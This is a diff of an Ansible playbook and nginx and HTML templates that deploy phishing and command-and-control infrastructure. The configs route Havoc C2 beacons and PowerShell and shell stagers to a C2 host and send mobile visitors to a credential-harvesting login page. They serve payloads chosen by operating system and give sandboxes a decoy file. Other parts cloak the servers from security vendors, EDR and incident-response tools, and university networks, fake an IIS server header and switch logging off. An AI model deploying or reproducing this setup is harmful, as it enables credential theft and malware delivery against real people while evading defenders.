# Configure phishing redirector with advanced evasion techniques
|
||||
|
||||
- name: Install packages for phishing redirector
|
||||
apt:
|
||||
name:
|
||||
- nginx
|
||||
- nginx-extras
|
||||
- certbot
|
||||
- python3-certbot-nginx
|
||||
- socat
|
||||
- netcat-openbsd
|
||||
- jq
|
||||
- curl
|
||||
- geoip-database
|
||||
- libgeoip1
|
||||
- php-fpm
|
||||
- php-geoip
|
||||
state: present
|
||||
|
||||
- name: Configure advanced nginx for phishing redirector
|
||||
template:
|
||||
src: "../templates/phishing/nginx-phishing-redirector.j2"
|
||||
dest: /etc/nginx/sites-available/phishing-redirector
|
||||
mode: '0644'
|
||||
notify: restart nginx
|
||||
|
||||
- name: Enable phishing redirector site
|
||||
file:
|
||||
src: /etc/nginx/sites-available/phishing-redirector
|
||||
dest: /etc/nginx/sites-enabled/phishing-redirector
|
||||
state: link
|
||||
notify: restart nginx
|
||||
|
||||
- name: Remove default nginx site
|
||||
file:
|
||||
path: /etc/nginx/sites-enabled/default
|
||||
state: absent
|
||||
notify: restart nginx
|
||||
|
||||
- name: Create legitimate website content
|
||||
template:
|
||||
src: "../templates/phishing/legitimate-website.html.j2"
|
||||
dest: /var/www/html/index.html
|
||||
mode: '0644'
|
||||
|
||||
- name: Create robots.txt for SEO legitimacy
|
||||
copy:
|
||||
dest: /var/www/html/robots.txt
|
||||
content: |
|
||||
User-agent: *
|
||||
Allow: /
|
||||
Sitemap: https://{{ phishing_subdomain }}.{{ phishing_domain }}/sitemap.xml
|
||||
|
||||
- name: Create sitemap for legitimacy
|
||||
template:
|
||||
src: "../templates/phishing/sitemap.xml.j2"
|
||||
dest: /var/www/html/sitemap.xml
|
||||
mode: '0644'
|
||||
|
||||
- name: Install MaxMind GeoIP for location-based filtering
|
||||
get_url:
|
||||
url: "https://download.maxmind.com/app/geoip_download?edition_id=GeoLite2-Country&license_key={{ maxmind_license_key | default('') }}&suffix=tar.gz"
|
||||
dest: /tmp/geoip.tar.gz
|
||||
when: maxmind_license_key is defined
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Create security research filtering script
|
||||
template:
|
||||
src: "../templates/phishing/security-filter.lua.j2"
|
||||
dest: /etc/nginx/security-filter.lua
|
||||
mode: '0644'
|
||||
|
||||
- name: Configure nginx stream module for advanced traffic analysis
|
||||
template:
|
||||
src: "../templates/phishing/stream-analysis.conf.j2"
|
||||
dest: /etc/nginx/modules-enabled/stream-analysis.conf
|
||||
mode: '0644'
|
||||
|
||||
- name: Create phishing campaign analytics
|
||||
template:
|
||||
src: "../templates/phishing/analytics.js.j2"
|
||||
dest: /var/www/html/analytics.js
|
||||
mode: '0644'
|
||||
|
||||
- name: Set up legitimate SSL certificate
|
||||
shell: |
|
||||
certbot --nginx -d {{ phishing_subdomain }}.{{ phishing_domain }} \
|
||||
--non-interactive --agree-tos -m {{ letsencrypt_email }}
|
||||
args:
|
||||
creates: /etc/letsencrypt/live/{{ phishing_subdomain }}.{{ phishing_domain }}/fullchain.pem
|
||||
ignore_errors: yes
|
||||
|
||||
- name: Create fail2ban configuration for suspicious activity
|
||||
copy:
|
||||
dest: /etc/fail2ban/jail.d/phishing-protection.conf
|
||||
content: |
|
||||
[phishing-scanner-protection]
|
||||
enabled = true
|
||||
port = 80,443
|
||||
filter = phishing-scanner
|
||||
logpath = /var/log/nginx/access.log
|
||||
maxretry = 3
|
||||
bantime = 3600
|
||||
findtime = 300
|
||||
|
||||
- name: Create fail2ban filter for security tools
|
||||
copy:
|
||||
dest: /etc/fail2ban/filter.d/phishing-scanner.conf
|
||||
content: |
|
||||
[Definition]
|
||||
failregex = ^<HOST>.*"(GET|POST).*(nmap|nikto|sqlmap|burp|w3af|nessus|openvas).*"
|
||||
^<HOST>.*".*User-Agent.*(scanner|bot|crawl|security|test).*"
|
||||
^<HOST>.*"(GET|POST).*\.(php|asp|jsp)\?.*"
|
||||
ignoreregex =
|
||||
|
||||
- name: Start and enable fail2ban
|
||||
systemd:
|
||||
name: fail2ban
|
||||
state: started
|
||||
enabled: yes
|
||||
|
||||
- name: Create traffic monitoring script
|
||||
template:
|
||||
src: "../templates/phishing/traffic-monitor.sh.j2"
|
||||
dest: /root/Tools/traffic-monitor.sh
|
||||
mode: '0755'
|
||||
|
||||
- name: Set up traffic monitoring cron
|
||||
cron:
|
||||
name: "Monitor phishing traffic"
|
||||
minute: "*/5"
|
||||
job: "/root/Tools/traffic-monitor.sh >> /var/log/phishing-traffic.log 2>&1"
|
||||
|
||||
- name: Configure rate limiting for suspicious patterns
|
||||
blockinfile:
|
||||
path: /etc/nginx/nginx.conf
|
||||
insertbefore: "http {"
|
||||
block: |
|
||||
# Rate limiting zones
|
||||
limit_req_zone $binary_remote_addr zone=login:10m rate=1r/s;
|
||||
limit_req_zone $binary_remote_addr zone=general:10m rate=10r/s;
|
||||
|
||||
# GeoIP configuration
|
||||
geoip_country /usr/share/GeoIP/GeoIP.dat;
|
||||
map $geoip_country_code $allowed_country {
|
||||
default 1;
|
||||
CN 0;
|
||||
RU 0;
|
||||
KP 0;
|
||||
}
|
||||
|
||||
handlers:
|
||||
- name: restart nginx
|
||||
service:
|
||||
name: nginx
|
||||
state: restarted
|
||||
@@ -0,0 +1,82 @@
|
||||
# Payload Redirector Configuration
|
||||
# Serves payloads with anti-analysis features
|
||||
|
||||
server {
|
||||
listen 80;
|
||||
listen [::]:80;
|
||||
server_name {{ payload_subdomain }}.{{ domain }};
|
||||
|
||||
return 301 https://$host$request_uri;
|
||||
}
|
||||
|
||||
server {
|
||||
listen 443 ssl http2;
|
||||
listen [::]:443 ssl http2;
|
||||
server_name {{ payload_subdomain }}.{{ domain }};
|
||||
|
||||
# SSL Configuration
|
||||
ssl_certificate /etc/letsencrypt/live/{{ payload_subdomain }}.{{ domain }}/fullchain.pem;
|
||||
ssl_certificate_key /etc/letsencrypt/live/{{ payload_subdomain }}.{{ domain }}/privkey.pem;
|
||||
ssl_protocols TLSv1.2 TLSv1.3;
|
||||
|
||||
root /var/www/payloads;
|
||||
|
||||
# Anti-analysis headers
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
add_header X-Download-Options "noopen" always;
|
||||
add_header X-Robots-Tag "noindex, nofollow" always;
|
||||
|
||||
# Serve different content based on user agent
|
||||
location ~ ^/download/(.+)$ {
|
||||
# Check if request is from analysis environment
|
||||
if ($http_user_agent ~* (sandbox|virus|malware|analysis)) {
|
||||
# Serve benign file
|
||||
rewrite ^/download/(.+)$ /benign/document.pdf last;
|
||||
}
|
||||
|
||||
# Check for valid download token
|
||||
secure_link $arg_token,$arg_expires;
|
||||
secure_link_md5 "$secure_link_expires$uri {{ payload_secret }}";
|
||||
|
||||
if ($secure_link = "") {
|
||||
return 403;
|
||||
}
|
||||
|
||||
if ($secure_link = "0") {
|
||||
return 410;
|
||||
}
|
||||
|
||||
# Serve actual payload
|
||||
try_files /payloads/$1 =404;
|
||||
}
|
||||
|
||||
# Direct file access with referrer check
|
||||
location /files/ {
|
||||
valid_referers none blocked server_names
|
||||
*.{{ domain }}
|
||||
{{ allowed_referrers | default([]) | join(' ') }};
|
||||
|
||||
if ($invalid_referer) {
|
||||
return 403;
|
||||
}
|
||||
|
||||
alias /var/www/payloads/;
|
||||
autoindex off;
|
||||
}
|
||||
|
||||
# Benign files for analysis environments
|
||||
location /benign/ {
|
||||
alias /var/www/payloads/benign/;
|
||||
autoindex off;
|
||||
}
|
||||
|
||||
# Block all other access
|
||||
location / {
|
||||
return 404;
|
||||
}
|
||||
|
||||
{% if zero_logs | default(true) %}
|
||||
access_log off;
|
||||
error_log /dev/null crit;
|
||||
{% endif %}
|
||||
}
|
||||
@@ -0,0 +1,104 @@
|
||||
# Phishing Redirector Configuration
|
||||
# Advanced evasion and filtering
|
||||
|
||||
# Security tool detection
|
||||
map $http_user_agent $is_security_scanner {
|
||||
default 0;
|
||||
~*(bot|crawl|spider|scraper|monitor|virustotal|urlvoid|hybrid-analysis|joesandbox|scanurl|urlscan|phishtank) 1;
|
||||
}
|
||||
|
||||
# Geo-filtering map
|
||||
map $geoip_country_code $allowed_country {
|
||||
default 1;
|
||||
{% for country in blocked_countries | default([]) %}
|
||||
{{ country }} 0;
|
||||
{% endfor %}
|
||||
}
|
||||
|
||||
server {
|
||||
listen 80;
|
||||
listen [::]:80;
|
||||
server_name {{ phishing_subdomain }}.{{ domain }};
|
||||
|
||||
return 301 https://$host$request_uri;
|
||||
}
|
||||
|
||||
server {
|
||||
listen 443 ssl http2;
|
||||
listen [::]:443 ssl http2;
|
||||
server_name {{ phishing_subdomain }}.{{ domain }};
|
||||
|
||||
# SSL Configuration
|
||||
ssl_certificate /etc/letsencrypt/live/{{ phishing_subdomain }}.{{ domain }}/fullchain.pem;
|
||||
ssl_certificate_key /etc/letsencrypt/live/{{ phishing_subdomain }}.{{ domain }}/privkey.pem;
|
||||
ssl_protocols TLSv1.2 TLSv1.3;
|
||||
ssl_ciphers HIGH:!aNULL:!MD5;
|
||||
ssl_prefer_server_ciphers on;
|
||||
|
||||
# Security headers to appear legitimate
|
||||
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||
add_header X-XSS-Protection "1; mode=block" always;
|
||||
add_header Referrer-Policy "no-referrer-when-downgrade" always;
|
||||
|
||||
# Block security scanners
|
||||
if ($is_security_scanner) {
|
||||
return 302 https://www.{{ legitimate_redirect | default('microsoft.com') }};
|
||||
}
|
||||
|
||||
# Geo-blocking
|
||||
if ($allowed_country = 0) {
|
||||
return 403;
|
||||
}
|
||||
|
||||
# Rate limiting
|
||||
limit_req_zone $binary_remote_addr zone=phishing:10m rate=10r/s;
|
||||
limit_req zone=phishing burst=20 nodelay;
|
||||
|
||||
# GoPhish tracking and landing pages
|
||||
location ~ ^/{{ gophish_rid_param | default('rid') }}/(.+) {
|
||||
proxy_pass http://{{ gophish_server_ip }}:{{ gophish_phish_port | default(8081) }};
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
}
|
||||
|
||||
# Phishing landing pages
|
||||
location / {
|
||||
proxy_pass http://{{ phishing_web_ip }}:80;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
}
|
||||
|
||||
# Block direct access to sensitive paths
|
||||
location ~ /\.(git|env|htaccess|htpasswd) {
|
||||
deny all;
|
||||
return 404;
|
||||
}
|
||||
|
||||
{% if zero_logs | default(true) %}
|
||||
# Zero-logs configuration
|
||||
access_log off;
|
||||
error_log /dev/null crit;
|
||||
{% endif %}
|
||||
}
|
||||
|
||||
# Catch-all server block
|
||||
server {
|
||||
listen 80 default_server;
|
||||
listen [::]:80 default_server;
|
||||
listen 443 ssl default_server;
|
||||
listen [::]:443 ssl default_server;
|
||||
|
||||
ssl_certificate /etc/nginx/conf.d/selfsigned.crt;
|
||||
ssl_certificate_key /etc/nginx/conf.d/selfsigned.key;
|
||||
|
||||
return 302 https://www.{{ legitimate_redirect | default('google.com') }};
|
||||
|
||||
access_log off;
|
||||
error_log /dev/null crit;
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
user www-data;
|
||||
worker_processes auto;
|
||||
pid /run/nginx.pid;
|
||||
include /etc/nginx/modules-enabled/*.conf;
|
||||
|
||||
events {
|
||||
worker_connections 1024;
|
||||
multi_accept on;
|
||||
}
|
||||
|
||||
http {
|
||||
# Basic Settings
|
||||
sendfile on;
|
||||
tcp_nopush on;
|
||||
tcp_nodelay on;
|
||||
keepalive_timeout 65;
|
||||
types_hash_max_size 2048;
|
||||
server_tokens off;
|
||||
|
||||
# MIME
|
||||
include /etc/nginx/mime.types;
|
||||
default_type application/octet-stream;
|
||||
|
||||
# Zero-logs configuration
|
||||
# This completely disables all access logs
|
||||
access_log off;
|
||||
# Minimal error logs - critical only
|
||||
error_log /dev/null crit;
|
||||
|
||||
# SSL Settings
|
||||
ssl_protocols TLSv1.2 TLSv1.3;
|
||||
ssl_prefer_server_ciphers on;
|
||||
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256';
|
||||
ssl_session_timeout 1d;
|
||||
ssl_session_cache shared:SSL:10m;
|
||||
ssl_session_tickets off;
|
||||
|
||||
# Headers to confuse fingerprinting
|
||||
# Microsoft-IIS/8.5 server header to throw off analysis
|
||||
add_header Server "Microsoft-IIS/8.5";
|
||||
server_name_in_redirect off;
|
||||
|
||||
# OPSEC: Hide proxy headers
|
||||
proxy_hide_header X-Powered-By;
|
||||
proxy_hide_header X-AspNet-Version;
|
||||
proxy_hide_header X-Runtime;
|
||||
|
||||
# IP Rotation and proxying
|
||||
real_ip_header X-Forwarded-For;
|
||||
set_real_ip_from 127.0.0.1;
|
||||
|
||||
# Gzip Settings
|
||||
gzip off; # Disabled to avoid BREACH attack
|
||||
|
||||
# Virtual Host Configs
|
||||
include /etc/nginx/conf.d/*.conf;
|
||||
include /etc/nginx/sites-enabled/*;
|
||||
}
|
||||
@@ -0,0 +1,105 @@
|
||||
server {
|
||||
listen 80;
|
||||
listen [::]:80;
|
||||
server_name {{ redirector_domain }};
|
||||
|
||||
# Redirect to HTTPS
|
||||
return 301 https://$host$request_uri;
|
||||
}
|
||||
|
||||
server {
|
||||
listen 443 ssl;
|
||||
listen [::]:443 ssl;
|
||||
server_name {{ redirector_domain }};
|
||||
|
||||
# SSL Configuration
|
||||
ssl_certificate /etc/letsencrypt/live/{{ redirector_domain }}/fullchain.pem;
|
||||
ssl_certificate_key /etc/letsencrypt/live/{{ redirector_domain }}/privkey.pem;
|
||||
ssl_protocols TLSv1.2 TLSv1.3;
|
||||
ssl_prefer_server_ciphers on;
|
||||
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
|
||||
ssl_session_timeout 1d;
|
||||
ssl_session_cache shared:SSL:10m;
|
||||
|
||||
# Root directory
|
||||
root /var/www/html;
|
||||
index index.html;
|
||||
|
||||
# Primary location for legitimate website traffic
|
||||
location / {
|
||||
try_files $uri $uri/ =404;
|
||||
}
|
||||
|
||||
# Havoc C2 HTTP listener paths
|
||||
location ~ ^/api/v[12]/ {
|
||||
proxy_pass http://{{ c2_ip }}:8080;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header Upgrade $http_upgrade;
|
||||
proxy_set_header Connection "upgrade";
|
||||
}
|
||||
|
||||
# Havoc C2 HTTPS listener paths
|
||||
location ~ ^/(dashboard|content)/ {
|
||||
proxy_pass https://{{ c2_ip }}:9443;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header Upgrade $http_upgrade;
|
||||
proxy_set_header Connection "upgrade";
|
||||
proxy_ssl_verify off;
|
||||
}
|
||||
|
||||
# Payload stager paths
|
||||
location ~ ^/(windows|linux)_stager\.(ps1|sh)$ {
|
||||
proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
}
|
||||
|
||||
# Payload content paths
|
||||
location ~ ^/content/(windows|linux)/(.+)$ {
|
||||
proxy_pass http://{{ c2_ip }}:8443/content/$1/$2;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
}
|
||||
|
||||
# Security headers
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||
add_header X-XSS-Protection "1; mode=block" always;
|
||||
add_header Referrer-Policy "no-referrer" always;
|
||||
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
|
||||
|
||||
# Disable logging for this server block if zero-logs is enabled
|
||||
{% if zero_logs | default(true) | bool %}
|
||||
access_log off;
|
||||
error_log /dev/null crit;
|
||||
{% endif %}
|
||||
}
|
||||
|
||||
# Catch-all server block to respond to unknown hosts
|
||||
server {
|
||||
listen 80 default_server;
|
||||
listen [::]:80 default_server;
|
||||
listen 443 ssl default_server;
|
||||
listen [::]:443 ssl default_server;
|
||||
|
||||
# Self-signed cert for catch-all
|
||||
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
|
||||
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
|
||||
|
||||
# Redirect all unknown traffic to a legitimate-looking site
|
||||
return 301 https://www.google.com;
|
||||
|
||||
# Disable logs
|
||||
access_log off;
|
||||
error_log /dev/null crit;
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>CDN - Content Delivery Network</title>
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
background-color: #f4f4f4;
|
||||
color: #333;
|
||||
}
|
||||
header {
|
||||
background-color: #2c3e50;
|
||||
color: white;
|
||||
padding: 1em;
|
||||
text-align: center;
|
||||
}
|
||||
.container {
|
||||
width: 80%;
|
||||
margin: 0 auto;
|
||||
padding: 2em;
|
||||
}
|
||||
.card {
|
||||
background-color: white;
|
||||
border-radius: 5px;
|
||||
padding: 1.5em;
|
||||
margin-bottom: 1.5em;
|
||||
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
|
||||
}
|
||||
footer {
|
||||
background-color: #2c3e50;
|
||||
color: white;
|
||||
text-align: center;
|
||||
padding: 1em;
|
||||
position: fixed;
|
||||
bottom: 0;
|
||||
width: 100%;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<header>
|
||||
<h1>cdn.{{ domain }}</h1>
|
||||
<p>Enterprise Content Delivery Network</p>
|
||||
</header>
|
||||
|
||||
<div class="container">
|
||||
<div class="card">
|
||||
<h2>Welcome to Our CDN</h2>
|
||||
<p>This server is part of our global content delivery network.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<footer>
|
||||
<p>© 2025 {{ domain }} CDN Services. All rights reserved.</p>
|
||||
</footer>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,310 @@
|
||||
# Advanced Redirector Configuration with IR Evasion
|
||||
# templates/redirector-site.conf.j2
|
||||
|
||||
# Detect security tools by user agent
|
||||
map $http_user_agent $is_security_tool {
|
||||
default 0;
|
||||
# Common security tools, scanners, and IR user agents
|
||||
~*(security|incident|response|virus|malware|cuckoo|wireshark|burp|nessus|qualys|openvas|nmap|tenable|rapid7|metasploit|paros|zap|nikto|scylla|splunk|elastic|defender|crowdstrike|sentinel|cylance|carbon\sblack|fireeye|mandiant|symantec|mcafee|sophos|kaspersky|analyst|forensic|edr|xdr|siem) 1;
|
||||
}
|
||||
|
||||
# Improved mobile detection regex
|
||||
map $http_user_agent $is_mobile {
|
||||
default 0;
|
||||
~*(android|iphone|ipad|ipod|blackberry|kindle|silk|opera\smini|opera\smobi|windows\sphone|iemobile|mobile|phone|tablet|symbian|series60|midp|up\.browser|ucbrowser|nokia|samsung|motorola|sprint|docomo|mobile\ssafari) 1;
|
||||
}
|
||||
|
||||
map $remote_addr $is_known_security_ip {
|
||||
default 0;
|
||||
|
||||
# VirusTotal
|
||||
"64.71.0.0/16" 1;
|
||||
"74.125.0.0/16" 1; # Google Cloud (VirusTotal)
|
||||
"216.239.32.0/19" 1; # Google
|
||||
|
||||
# Recorded Future
|
||||
"104.196.0.0/14" 1; # Google Cloud
|
||||
"35.184.0.0/13" 1; # Google Cloud
|
||||
|
||||
# Censys
|
||||
"198.108.66.0/23" 1;
|
||||
"162.142.125.0/24" 1;
|
||||
"167.248.133.0/24" 1;
|
||||
|
||||
# Shodan
|
||||
"66.240.192.0/18" 1;
|
||||
"71.6.135.0/24" 1;
|
||||
"71.6.167.0/24" 1;
|
||||
"82.221.105.6/32" 1;
|
||||
"82.221.105.7/32" 1;
|
||||
"93.120.27.0/24" 1;
|
||||
|
||||
# Symantec/Broadcom
|
||||
"205.128.0.0/14" 1;
|
||||
"65.165.0.0/16" 1;
|
||||
|
||||
# McAfee/Trellix
|
||||
"161.69.0.0/16" 1;
|
||||
"192.225.158.0/24" 1;
|
||||
|
||||
# CrowdStrike
|
||||
"45.60.0.0/16" 1;
|
||||
"199.66.200.0/24" 1;
|
||||
|
||||
# SentinelOne
|
||||
"104.36.227.0/24" 1;
|
||||
"104.196.0.0/14" 1;
|
||||
|
||||
# Microsoft Defender
|
||||
"13.64.0.0/11" 1; # Azure (Microsoft Defender)
|
||||
"13.104.0.0/14" 1; # Microsoft
|
||||
"40.74.0.0/15" 1; # Microsoft
|
||||
"51.4.0.0/15" 1; # Microsoft
|
||||
"104.40.0.0/13" 1; # Microsoft
|
||||
"104.208.0.0/13" 1; # Azure
|
||||
|
||||
# Palo Alto
|
||||
"96.88.0.0/16" 1;
|
||||
"173.247.96.0/19" 1;
|
||||
"216.115.73.0/24" 1;
|
||||
|
||||
# Qualys
|
||||
"64.39.96.0/20" 1;
|
||||
"64.41.200.0/24" 1;
|
||||
"92.118.160.0/24" 1;
|
||||
|
||||
# Rapid7
|
||||
"5.63.0.0/16" 1;
|
||||
"38.107.201.0/24" 1;
|
||||
"45.60.0.0/16" 1;
|
||||
"71.6.0.0/16" 1;
|
||||
"206.225.0.0/16" 1;
|
||||
|
||||
# Tenable/Nessus
|
||||
"23.20.0.0/14" 1; # AWS (Tenable Cloud)
|
||||
"34.192.0.0/12" 1; # AWS
|
||||
"54.144.0.0/12" 1; # AWS
|
||||
"162.219.56.0/21" 1;
|
||||
"172.104.0.0/16" 1; # Linode (common Nessus hosting)
|
||||
|
||||
# FireEye/Mandiant
|
||||
"23.98.64.0/18" 1;
|
||||
"66.114.168.0/22" 1;
|
||||
"96.43.144.0/20" 1;
|
||||
"173.231.184.0/22" 1;
|
||||
|
||||
# Akamai
|
||||
"23.0.0.0/12" 1;
|
||||
"23.32.0.0/11" 1;
|
||||
"104.64.0.0/10" 1;
|
||||
|
||||
# Cloudflare
|
||||
"104.16.0.0/12" 1;
|
||||
"173.245.48.0/20" 1;
|
||||
|
||||
# Academic Research Networks
|
||||
"128.32.0.0/16" 1; # UC Berkeley
|
||||
"128.59.0.0/16" 1; # Columbia University
|
||||
"128.112.0.0/16" 1; # Princeton University
|
||||
"128.138.0.0/16" 1; # University of Colorado
|
||||
"128.197.0.0/16" 1; # Boston University
|
||||
"146.186.0.0/16" 1; # Carnegie Mellon
|
||||
}
|
||||
|
||||
# HTTP to HTTPS redirect
|
||||
server {
|
||||
listen 80;
|
||||
listen [::]:80;
|
||||
server_name {{ redirector_subdomain }}.{{ domain }};
|
||||
|
||||
# Redirect to HTTPS
|
||||
return 301 https://$host$request_uri;
|
||||
}
|
||||
|
||||
# Main HTTPS server
|
||||
server {
|
||||
listen 443 ssl;
|
||||
listen [::]:443 ssl;
|
||||
server_name {{ redirector_subdomain }}.{{ domain }};
|
||||
|
||||
# SSL Configuration
|
||||
ssl_certificate /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem;
|
||||
ssl_certificate_key /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/privkey.pem;
|
||||
ssl_protocols TLSv1.2 TLSv1.3;
|
||||
ssl_prefer_server_ciphers on;
|
||||
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
|
||||
ssl_session_timeout 1d;
|
||||
ssl_session_cache shared:SSL:10m;
|
||||
|
||||
# Root directory
|
||||
root /var/www/html;
|
||||
index index.html;
|
||||
|
||||
# Advanced IR Evasion - IMPORTANT: Order matters!
|
||||
|
||||
# 1. Direct mobile users to credential capture - placed first to ensure it takes priority
|
||||
if ($is_mobile = 1) {
|
||||
return 302 https://$host/login/auth.html;
|
||||
}
|
||||
|
||||
# 2. Redirect security tools to benign sites
|
||||
if ($is_security_tool) {
|
||||
return 302 https://www.google.com;
|
||||
}
|
||||
|
||||
# 3. Redirect known security IPs
|
||||
if ($is_known_security_ip) {
|
||||
return 302 https://www.microsoft.com;
|
||||
}
|
||||
|
||||
# 4. Add timing delay for suspicious connections
|
||||
if ($http_referer ~* (security|scan)) {
|
||||
set $delay_response 1;
|
||||
}
|
||||
|
||||
# Valid C2 beacon routing - CRITICAL PATHS
|
||||
location ~ ^/api/beacon/ {
|
||||
# Only valid beacons proceed to C2
|
||||
proxy_pass https://{{ c2_ip }}:{{ havoc_https_port | default(443) }};
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_ssl_verify off;
|
||||
|
||||
# Implement artificial delay for suspicious connections
|
||||
if ($delay_response) {
|
||||
limit_rate 1k; # Slow down response
|
||||
}
|
||||
}
|
||||
|
||||
# Secure stager delivery routes
|
||||
location ~ ^/(windows|linux)_stager\.(ps1|sh)$ {
|
||||
# Only valid requests that passed the earlier checks
|
||||
proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
}
|
||||
|
||||
# Content access for payload delivery
|
||||
location ~ ^/content/(windows|linux)/(.+)$ {
|
||||
# Specific valid content paths
|
||||
proxy_pass http://{{ c2_ip }}:8443/content/$1/$2;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
}
|
||||
|
||||
# Redirect specific payload formats based on client OS
|
||||
location ~ ^/download/payload$ {
|
||||
if ($http_user_agent ~* windows) {
|
||||
return 302 /content/windows/$win_exe;
|
||||
}
|
||||
if ($http_user_agent ~* linux) {
|
||||
return 302 /content/linux/$linux_bin;
|
||||
}
|
||||
# Default fallback for unknown OS
|
||||
return 302 /;
|
||||
}
|
||||
|
||||
# Secure payload delivery path for synced payloads
|
||||
location /resources/ {
|
||||
alias /var/www/resources/;
|
||||
limit_except GET { deny all; }
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
add_header Content-Security-Policy "default-src 'none'" always;
|
||||
add_header X-Frame-Options "DENY" always;
|
||||
add_header Server "Microsoft-IIS/10.0" always;
|
||||
autoindex off;
|
||||
access_log off;
|
||||
}
|
||||
|
||||
# Credential harvesting login page
|
||||
location ~ ^/login/auth\.html$ {
|
||||
root /var/www;
|
||||
try_files $uri =404;
|
||||
add_header X-Frame-Options "DENY" always;
|
||||
}
|
||||
|
||||
# Protect credential processing script
|
||||
location ~ ^/login/process\.php$ {
|
||||
# Allow POST only
|
||||
limit_except POST { deny all; }
|
||||
|
||||
# Process the PHP file
|
||||
root /var/www;
|
||||
include snippets/fastcgi-php.conf;
|
||||
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
|
||||
}
|
||||
|
||||
# Block direct access to sensitive files
|
||||
location ~ \.(enc|key|pem|log)$ {
|
||||
deny all;
|
||||
return 404;
|
||||
}
|
||||
|
||||
{% if setup_integrated_tracker | default(false) | bool %}
|
||||
# Email tracker pixel only (not exposing dashboard)
|
||||
location ~ ^/px/(.+)\.png$ {
|
||||
proxy_pass http://{{ c2_ip }}:5000/pixel/$1.png;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Host {{ tracker_domain }};
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-Proto https;
|
||||
|
||||
# Cache control for tracking pixels
|
||||
add_header Cache-Control "no-store, no-cache, must-revalidate" always;
|
||||
expires -1;
|
||||
}
|
||||
{% endif %}
|
||||
|
||||
# Primary location for legitimate website traffic
|
||||
# This acts as a catch-all for non-matching URIs
|
||||
location / {
|
||||
# Check if this is potentially an attempt to access a non-existent payload
|
||||
if ($request_uri ~* \.(exe|dll|ps1|sh|py|vbs|hta)$) {
|
||||
# If invalid payload URI, redirect to real target
|
||||
return 302 https://www.{{ domain }};
|
||||
}
|
||||
|
||||
# Otherwise serve legitimate content
|
||||
try_files $uri $uri/ =404;
|
||||
}
